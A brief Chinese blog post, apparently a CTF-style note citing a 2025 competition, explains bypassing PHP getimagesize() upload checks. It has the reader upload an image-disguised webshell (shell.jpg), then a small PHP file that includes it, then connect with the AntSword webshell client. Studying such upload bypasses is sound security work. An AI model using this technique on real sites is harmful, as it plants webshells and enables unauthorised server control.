getmagesize配合文件包含绕过

代码注入绕过 - getimagesize() → 会检查文件数据头

① getimagesize()是PHP的一个函数,用于获取图像的大小及相关信息,成功返回一个数组,失败则返回FALSE并产生一条E_WARNING级的错误信息;若用新函数获取类型,从而判断是否是图片,较难绕过。绕过的前提条件是对方站点还要有一个文件包含漏洞,才能绕过或修改文件数据的头部数据

语法:array getimagesize(string filename, [array &image])

(1)2025长城赛方法:

先上传一个shell.jpg的图片马,再上传一个包含php代码的文件,内容如下:

<?php
$file="shell.jpg";
include $file;
?>
//再蚁剑连接
posted @ 2026-06-18 13:05  Doll_Marker  阅读(8)  评论(0)    收藏  举报